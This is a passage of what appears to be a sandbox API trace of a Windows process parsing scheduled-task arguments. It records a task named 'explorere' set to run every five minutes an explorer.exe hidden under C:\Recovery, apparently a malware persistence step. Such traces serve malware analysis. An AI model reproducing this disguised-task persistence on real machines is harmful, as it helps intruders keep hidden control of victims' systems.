_Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.068] GetProcessHeap () returned 0x1e0000 [0139.068] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc270) returned 1 [0139.068] GetProcessHeap () returned 0x1e0000 [0139.068] RtlReAllocateHeap (Heap=0x1e0000, Flags=0xc, Ptr=0x1fc270, Size=0x16) returned 0x1fc270 [0139.068] lstrlenW (lpString="tn") returned 2 [0139.068] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.068] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|showsid|") returned 9 [0139.068] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|tn|") returned 4 [0139.068] lstrlenW (lpString="|showsid|") returned 9 [0139.068] lstrlenW (lpString="|tn|") returned 4 [0139.068] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0139.068] SetLastError (dwErrCode=0x490) [0139.068] SetLastError (dwErrCode=0x490) [0139.068] SetLastError (dwErrCode=0x0) [0139.068] lstrlenW (lpString="/tn") returned 3 [0139.069] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0139.069] SetLastError (dwErrCode=0x490) [0139.069] SetLastError (dwErrCode=0x0) [0139.069] lstrlenW (lpString="/tn") returned 3 [0139.069] GetProcessHeap () returned 0x1e0000 [0139.069] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x8) returned 0x1fc210 [0139.069] GetProcessHeap () returned 0x1e0000 [0139.069] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcc20 [0139.069] SetLastError (dwErrCode=0x0) [0139.069] SetLastError (dwErrCode=0x0) [0139.069] lstrlenW (lpString="explorere") returned 9 [0139.069] lstrlenW (lpString="-/") returned 2 [0139.069] StrChrIW (lpStart="-/", wMatch=0x65) returned 0x0 [0139.069] SetLastError (dwErrCode=0x490) [0139.069] SetLastError (dwErrCode=0x490) [0139.069] SetLastError (dwErrCode=0x0) [0139.069] lstrlenW (lpString="explorere") returned 9 [0139.069] StrChrIW (lpStart="explorere", wMatch=0x3a) returned 0x0 [0139.069] SetLastError (dwErrCode=0x490) [0139.069] SetLastError (dwErrCode=0x0) [0139.069] lstrlenW (lpString="explorere") returned 9 [0139.069] GetProcessHeap () returned 0x1e0000 [0139.069] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x14) returned 0x1fc2a0 [0139.069] GetProcessHeap () returned 0x1e0000 [0139.069] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcc50 [0139.069] SetLastError (dwErrCode=0x0) [0139.069] SetLastError (dwErrCode=0x0) [0139.069] lstrlenW (lpString="/sc") returned 3 [0139.069] lstrlenW (lpString="-/") returned 2 [0139.069] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0139.069] lstrlenW (lpString="?") returned 1 [0139.069] lstrlenW (lpString="?") returned 1 [0139.069] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.069] lstrlenW (lpString="sc") returned 2 [0139.070] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.070] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|?|") returned 3 [0139.070] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|sc|") returned 4 [0139.070] lstrlenW (lpString="|?|") returned 3 [0139.070] lstrlenW (lpString="|sc|") returned 4 [0139.070] SetLastError (dwErrCode=0x490) [0139.070] lstrlenW (lpString="create") returned 6 [0139.070] lstrlenW (lpString="create") returned 6 [0139.070] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.070] lstrlenW (lpString="sc") returned 2 [0139.070] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.070] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|create|") returned 8 [0139.070] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|sc|") returned 4 [0139.070] lstrlenW (lpString="|create|") returned 8 [0139.070] lstrlenW (lpString="|sc|") returned 4 [0139.070] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0139.070] SetLastError (dwErrCode=0x490) [0139.070] lstrlenW (lpString="delete") returned 6 [0139.070] lstrlenW (lpString="delete") returned 6 [0139.070] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.070] lstrlenW (lpString="sc") returned 2 [0139.070] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.070] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|delete|") returned 8 [0139.070] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|sc|") returned 4 [0139.070] lstrlenW (lpString="|delete|") returned 8 [0139.070] lstrlenW (lpString="|sc|") returned 4 [0139.070] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0139.071] SetLastError (dwErrCode=0x490) [0139.071] lstrlenW (lpString="query") returned 5 [0139.071] lstrlenW (lpString="query") returned 5 [0139.071] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.071] lstrlenW (lpString="sc") returned 2 [0139.071] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.071] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|query|") returned 7 [0139.071] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|sc|") returned 4 [0139.071] lstrlenW (lpString="|query|") returned 7 [0139.071] lstrlenW (lpString="|sc|") returned 4 [0139.071] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0139.071] SetLastError (dwErrCode=0x490) [0139.071] lstrlenW (lpString="change") returned 6 [0139.071] lstrlenW (lpString="change") returned 6 [0139.071] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.071] lstrlenW (lpString="sc") returned 2 [0139.071] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.071] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|change|") returned 8 [0139.071] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|sc|") returned 4 [0139.071] lstrlenW (lpString="|change|") returned 8 [0139.071] lstrlenW (lpString="|sc|") returned 4 [0139.071] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0139.071] SetLastError (dwErrCode=0x490) [0139.071] lstrlenW (lpString="run") returned 3 [0139.071] lstrlenW (lpString="run") returned 3 [0139.071] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.072] lstrlenW (lpString="sc") returned 2 [0139.072] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.072] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|run|") returned 5 [0139.072] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|sc|") returned 4 [0139.072] lstrlenW (lpString="|run|") returned 5 [0139.072] lstrlenW (lpString="|sc|") returned 4 [0139.072] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0139.072] SetLastError (dwErrCode=0x490) [0139.072] lstrlenW (lpString="end") returned 3 [0139.072] lstrlenW (lpString="end") returned 3 [0139.072] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.072] lstrlenW (lpString="sc") returned 2 [0139.072] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.072] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|end|") returned 5 [0139.072] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|sc|") returned 4 [0139.072] lstrlenW (lpString="|end|") returned 5 [0139.072] lstrlenW (lpString="|sc|") returned 4 [0139.072] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0139.072] SetLastError (dwErrCode=0x490) [0139.072] lstrlenW (lpString="showsid") returned 7 [0139.072] lstrlenW (lpString="showsid") returned 7 [0139.072] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.072] lstrlenW (lpString="sc") returned 2 [0139.072] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.072] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|showsid|") returned 9 [0139.072] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|sc|") returned 4 [0139.072] lstrlenW (lpString="|showsid|") returned 9 [0139.073] lstrlenW (lpString="|sc|") returned 4 [0139.073] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0139.073] SetLastError (dwErrCode=0x490) [0139.073] SetLastError (dwErrCode=0x490) [0139.073] SetLastError (dwErrCode=0x0) [0139.073] lstrlenW (lpString="/sc") returned 3 [0139.073] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0139.073] SetLastError (dwErrCode=0x490) [0139.073] SetLastError (dwErrCode=0x0) [0139.073] lstrlenW (lpString="/sc") returned 3 [0139.073] GetProcessHeap () returned 0x1e0000 [0139.073] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x8) returned 0x1fc2c0 [0139.073] GetProcessHeap () returned 0x1e0000 [0139.073] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcc80 [0139.073] SetLastError (dwErrCode=0x0) [0139.073] SetLastError (dwErrCode=0x0) [0139.073] lstrlenW (lpString="MINUTE") returned 6 [0139.073] lstrlenW (lpString="-/") returned 2 [0139.073] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0139.073] SetLastError (dwErrCode=0x490) [0139.073] SetLastError (dwErrCode=0x490) [0139.073] SetLastError (dwErrCode=0x0) [0139.073] lstrlenW (lpString="MINUTE") returned 6 [0139.073] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0139.073] SetLastError (dwErrCode=0x490) [0139.073] SetLastError (dwErrCode=0x0) [0139.073] lstrlenW (lpString="MINUTE") returned 6 [0139.073] GetProcessHeap () returned 0x1e0000 [0139.073] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0xe) returned 0x1fc2e0 [0139.073] GetProcessHeap () returned 0x1e0000 [0139.073] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fccb0 [0139.073] SetLastError (dwErrCode=0x0) [0139.073] SetLastError (dwErrCode=0x0) [0139.073] lstrlenW (lpString="/mo") returned 3 [0139.073] lstrlenW (lpString="-/") returned 2 [0139.073] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0139.074] lstrlenW (lpString="?") returned 1 [0139.074] lstrlenW (lpString="?") returned 1 [0139.074] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.074] lstrlenW (lpString="mo") returned 2 [0139.074] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.074] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|?|") returned 3 [0139.074] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|mo|") returned 4 [0139.074] lstrlenW (lpString="|?|") returned 3 [0139.074] lstrlenW (lpString="|mo|") returned 4 [0139.074] SetLastError (dwErrCode=0x490) [0139.074] lstrlenW (lpString="create") returned 6 [0139.074] lstrlenW (lpString="create") returned 6 [0139.074] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.074] lstrlenW (lpString="mo") returned 2 [0139.074] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.074] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|create|") returned 8 [0139.074] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|mo|") returned 4 [0139.074] lstrlenW (lpString="|create|") returned 8 [0139.074] lstrlenW (lpString="|mo|") returned 4 [0139.074] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0139.074] SetLastError (dwErrCode=0x490) [0139.074] lstrlenW (lpString="delete") returned 6 [0139.074] lstrlenW (lpString="delete") returned 6 [0139.074] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.074] lstrlenW (lpString="mo") returned 2 [0139.074] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.074] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|delete|") returned 8 [0139.074] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|mo|") returned 4 [0139.074] lstrlenW (lpString="|delete|") returned 8 [0139.074] lstrlenW (lpString="|mo|") returned 4 [0139.075] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0139.075] SetLastError (dwErrCode=0x490) [0139.075] lstrlenW (lpString="query") returned 5 [0139.075] lstrlenW (lpString="query") returned 5 [0139.075] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.075] lstrlenW (lpString="mo") returned 2 [0139.075] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.075] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|query|") returned 7 [0139.075] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|mo|") returned 4 [0139.075] lstrlenW (lpString="|query|") returned 7 [0139.075] lstrlenW (lpString="|mo|") returned 4 [0139.075] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0139.075] SetLastError (dwErrCode=0x490) [0139.075] lstrlenW (lpString="change") returned 6 [0139.075] lstrlenW (lpString="change") returned 6 [0139.075] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.075] lstrlenW (lpString="mo") returned 2 [0139.075] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.075] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|change|") returned 8 [0139.075] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|mo|") returned 4 [0139.075] lstrlenW (lpString="|change|") returned 8 [0139.075] lstrlenW (lpString="|mo|") returned 4 [0139.075] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0139.075] SetLastError (dwErrCode=0x490) [0139.075] lstrlenW (lpString="run") returned 3 [0139.075] lstrlenW (lpString="run") returned 3 [0139.076] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.076] lstrlenW (lpString="mo") returned 2 [0139.076] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.076] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|run|") returned 5 [0139.076] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|mo|") returned 4 [0139.076] lstrlenW (lpString="|run|") returned 5 [0139.076] lstrlenW (lpString="|mo|") returned 4 [0139.076] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0139.076] SetLastError (dwErrCode=0x490) [0139.076] lstrlenW (lpString="end") returned 3 [0139.076] lstrlenW (lpString="end") returned 3 [0139.076] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.076] lstrlenW (lpString="mo") returned 2 [0139.076] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.076] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|end|") returned 5 [0139.076] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|mo|") returned 4 [0139.076] lstrlenW (lpString="|end|") returned 5 [0139.076] lstrlenW (lpString="|mo|") returned 4 [0139.076] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0139.076] SetLastError (dwErrCode=0x490) [0139.076] lstrlenW (lpString="showsid") returned 7 [0139.076] lstrlenW (lpString="showsid") returned 7 [0139.076] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.077] lstrlenW (lpString="mo") returned 2 [0139.077] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.077] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|showsid|") returned 9 [0139.077] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|mo|") returned 4 [0139.077] lstrlenW (lpString="|showsid|") returned 9 [0139.077] lstrlenW (lpString="|mo|") returned 4 [0139.077] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0139.077] SetLastError (dwErrCode=0x490) [0139.077] SetLastError (dwErrCode=0x490) [0139.077] SetLastError (dwErrCode=0x0) [0139.077] lstrlenW (lpString="/mo") returned 3 [0139.077] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0139.077] SetLastError (dwErrCode=0x490) [0139.077] SetLastError (dwErrCode=0x0) [0139.077] lstrlenW (lpString="/mo") returned 3 [0139.077] GetProcessHeap () returned 0x1e0000 [0139.077] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x8) returned 0x1fc300 [0139.077] GetProcessHeap () returned 0x1e0000 [0139.077] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcce0 [0139.077] SetLastError (dwErrCode=0x0) [0139.077] SetLastError (dwErrCode=0x0) [0139.077] lstrlenW (lpString="5") returned 1 [0139.077] SetLastError (dwErrCode=0x490) [0139.077] SetLastError (dwErrCode=0x0) [0139.077] lstrlenW (lpString="5") returned 1 [0139.077] StrChrIW (lpStart="5", wMatch=0x3a) returned 0x0 [0139.077] SetLastError (dwErrCode=0x490) [0139.077] SetLastError (dwErrCode=0x0) [0139.077] lstrlenW (lpString="5") returned 1 [0139.078] GetProcessHeap () returned 0x1e0000 [0139.078] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x4) returned 0x1fc320 [0139.078] GetProcessHeap () returned 0x1e0000 [0139.078] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcd10 [0139.078] SetLastError (dwErrCode=0x0) [0139.078] SetLastError (dwErrCode=0x0) [0139.078] lstrlenW (lpString="/tr") returned 3 [0139.078] lstrlenW (lpString="-/") returned 2 [0139.078] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0139.078] lstrlenW (lpString="?") returned 1 [0139.078] lstrlenW (lpString="?") returned 1 [0139.078] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.078] lstrlenW (lpString="tr") returned 2 [0139.078] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.078] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|?|") returned 3 [0139.078] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|tr|") returned 4 [0139.078] lstrlenW (lpString="|?|") returned 3 [0139.078] lstrlenW (lpString="|tr|") returned 4 [0139.078] SetLastError (dwErrCode=0x490) [0139.078] lstrlenW (lpString="create") returned 6 [0139.078] lstrlenW (lpString="create") returned 6 [0139.078] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.078] lstrlenW (lpString="tr") returned 2 [0139.078] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.078] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|create|") returned 8 [0139.078] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|tr|") returned 4 [0139.079] lstrlenW (lpString="|create|") returned 8 [0139.079] lstrlenW (lpString="|tr|") returned 4 [0139.079] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0139.079] SetLastError (dwErrCode=0x490) [0139.079] lstrlenW (lpString="delete") returned 6 [0139.079] lstrlenW (lpString="delete") returned 6 [0139.079] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.079] lstrlenW (lpString="tr") returned 2 [0139.079] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.079] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|delete|") returned 8 [0139.079] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|tr|") returned 4 [0139.079] lstrlenW (lpString="|delete|") returned 8 [0139.079] lstrlenW (lpString="|tr|") returned 4 [0139.079] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0139.079] SetLastError (dwErrCode=0x490) [0139.079] lstrlenW (lpString="query") returned 5 [0139.079] lstrlenW (lpString="query") returned 5 [0139.079] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.079] lstrlenW (lpString="tr") returned 2 [0139.079] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.079] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|query|") returned 7 [0139.079] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|tr|") returned 4 [0139.079] lstrlenW (lpString="|query|") returned 7 [0139.079] lstrlenW (lpString="|tr|") returned 4 [0139.079] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0139.079] SetLastError (dwErrCode=0x490) [0139.080] lstrlenW (lpString="change") returned 6 [0139.080] lstrlenW (lpString="change") returned 6 [0139.080] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.080] lstrlenW (lpString="tr") returned 2 [0139.080] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.080] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|change|") returned 8 [0139.080] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|tr|") returned 4 [0139.080] lstrlenW (lpString="|change|") returned 8 [0139.080] lstrlenW (lpString="|tr|") returned 4 [0139.080] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0139.080] SetLastError (dwErrCode=0x490) [0139.080] lstrlenW (lpString="run") returned 3 [0139.080] lstrlenW (lpString="run") returned 3 [0139.080] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.080] lstrlenW (lpString="tr") returned 2 [0139.080] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.080] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|run|") returned 5 [0139.080] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|tr|") returned 4 [0139.080] lstrlenW (lpString="|run|") returned 5 [0139.080] lstrlenW (lpString="|tr|") returned 4 [0139.080] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0139.080] SetLastError (dwErrCode=0x490) [0139.080] lstrlenW (lpString="end") returned 3 [0139.080] lstrlenW (lpString="end") returned 3 [0139.081] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.081] lstrlenW (lpString="tr") returned 2 [0139.081] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.081] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|end|") returned 5 [0139.081] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|tr|") returned 4 [0139.081] lstrlenW (lpString="|end|") returned 5 [0139.081] lstrlenW (lpString="|tr|") returned 4 [0139.081] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0139.081] SetLastError (dwErrCode=0x490) [0139.081] lstrlenW (lpString="showsid") returned 7 [0139.081] lstrlenW (lpString="showsid") returned 7 [0139.081] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.081] lstrlenW (lpString="tr") returned 2 [0139.081] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.081] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|showsid|") returned 9 [0139.081] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|tr|") returned 4 [0139.081] lstrlenW (lpString="|showsid|") returned 9 [0139.081] lstrlenW (lpString="|tr|") returned 4 [0139.081] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0139.081] SetLastError (dwErrCode=0x490) [0139.081] SetLastError (dwErrCode=0x490) [0139.081] SetLastError (dwErrCode=0x0) [0139.081] lstrlenW (lpString="/tr") returned 3 [0139.081] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0139.081] SetLastError (dwErrCode=0x490) [0139.081] SetLastError (dwErrCode=0x0) [0139.082] lstrlenW (lpString="/tr") returned 3 [0139.082] GetProcessHeap () returned 0x1e0000 [0139.082] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x8) returned 0x1fc340 [0139.082] GetProcessHeap () returned 0x1e0000 [0139.180] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcd40 [0139.180] SetLastError (dwErrCode=0x0) [0139.180] SetLastError (dwErrCode=0x0) [0139.180] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0139.180] lstrlenW (lpString="-/") returned 2 [0139.180] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0139.180] 